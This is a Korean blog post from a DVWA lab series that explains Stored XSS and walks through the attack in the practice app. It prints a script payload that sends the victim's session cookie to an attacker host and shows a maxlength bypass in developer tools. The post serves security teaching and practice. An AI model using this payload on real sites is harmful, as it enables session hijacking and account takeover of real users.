Stored XSS 공격

웹해킹/DVWA 2020. 1. 21. 14:25
반응형
SMALL

1. Stored XSS 공격 개요

Stored XSS 공격은 브라우저에서 스크립트를 실행하는 것은 Reflected XSS 공격과 동일하지만 서버에 스크립트를 저장했다가 실행된다는 차이점이 있다.

[그림 1-1] Stored XSS 공격 과정

공격자는 XSS 공격 스크립트를 사이트 방명록이나 게시판 등에 삽입한다. 삽입 다른 사용자들이 방명록이나 게시판 등을 방문해 공격자가 작성한 게시물을 클릭하기를 기다린다. 사용자가 공격자가 작성한 게시물을 실행하면 스크립트 코드가 사용자에게 전달된다. 브라우저는 스크립트 코드를 실행해서 세션 쿠키가 공격자에게 전달되고 공격자는 세션 쿠키를 사용해 사용자의 권한으로 사이트 접속이 가능해진다. Reflected XSS 공격보다 공격 경로가 다양하기 때문에 위험하다고 판단할 있다.

 

2. Stored XSS 공격 실습

 

[그림 1-1] 개발자 도구

Stored XSS 공격을 시도하기 위해 <script>document.location='http://192.168.171.172/cookie?'+document.cookie</script> 구문을 삽입해야 하는데 글자수 제한에 막힌다. 하지만 개발자 도구에서 maxlength 속성 값을 수정하면 우회가 가능하다. 충분한 글자 확보를 위해 500으로 지정한다.

 

[그림 1-2] Stored XSS 공격 구문

글자수 제한 수정 Stored XSS 공격 구문을 삽입한 게시글을 저장한다.

 

[그림 1-3] 에러 페이지

작성한 게시글을 실행하면 [그림 1-3] 같은 에러 페이지가 발생하는데 이미 지정해 놓은 공격자의 호스트로 전송된다.

 

[그림 1-4] 로그 검색

Tail 명령어를 활용해 파일의 내용을 확인한다. 서버로 들어온 요청 정보가 기록되는데 DVWA에서 Stored XSS 공격을 때마다 로그 파일에 로그가 계속 기록된다. 앞서 했던 쿠키 값을 탈취하기 위해 실행했던 document.cookie 스크립트와 함께 PHPSESSID 세션 쿠키 값도 모두 기록되어 있다는 것을 확인할 있다. Stored XSS 공격은 서버에 저장해 놓은 상태에서 공격이 되기 때문에 공격할 있는 경로가 많아 모의해킹 진행 신경써야 하는 취약점 하나다.

반응형
LIST

'웹해킹 > DVWA' 카테고리의 다른 글

Reflected XSS 공격 (2)  (0) 2020.01.21
Reflected XSS 공격 (1)  (0) 2020.01.21
CSRF 공격 (2)  (0) 2020.01.12
CSRF 공격 (1)  (0) 2020.01.12
Command Injection 공격 (2)  (0) 2020.01.04
블로그 이미지

만년필석사

,